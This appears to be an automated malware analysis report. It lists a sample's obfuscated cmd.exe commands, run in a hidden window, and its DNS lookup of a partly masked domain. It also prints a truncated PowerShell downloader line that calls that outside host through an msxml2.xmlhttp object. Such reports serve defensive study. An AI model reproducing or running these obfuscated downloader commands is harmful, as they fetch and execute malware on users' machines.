Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c %COmMonpRograMFIlEs(X86):~ -12, -11%%coMmOnPrOGRAmFilEs(X86):~ 26, 1%^d, , ,/V , /r " , ,, ( , , (S^E^T ^ ^o^Az^L=^xqe^ rFH NXR^ ^tQ iS^X mQ0 ^0oh Sz^X CS^G RhK^ ^4 ^h^ mpS kmG z^...
Network activity
UDP
- DNS ASK pt###ossen.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c %COmMonpRograMFIlEs(X86):~ -12, -11%%coMmOnPrOGRAmFilEs(X86):~ 26, 1%^d, , ,/V , /r " , ,, ( , , (S^E^T ^ ^o^Az^L=^xqe^ rFH NXR^ ^tQ iS^X mQ0 ^0oh Sz^X CS^G RhK^ ^4 ^h^ mpS kmG z^...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' , , ,/V , /r " , ,, ( , , (S^E^T ^ ^o^Az^L=^xqe^ rFH NXR^ ^tQ iS^X mQ0 ^0oh Sz^X CS^G RhK^ ^4 ^h^ mpS kmG z^JI vRV lT3^ 6QC^ V^72^}WOl}Y^pk{MJ^o^hZ^t5cCf t6P7a^yghc^tnK}hPn^k^w^5oa^Ge^meH...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $zZi='aEM';$wMj='http://pt###ossen.com/LYW/quines.php?l=############################################################################ =New-Object -com 'msxml2.xmlhttp';$YXT = New-Object -com 'ad...
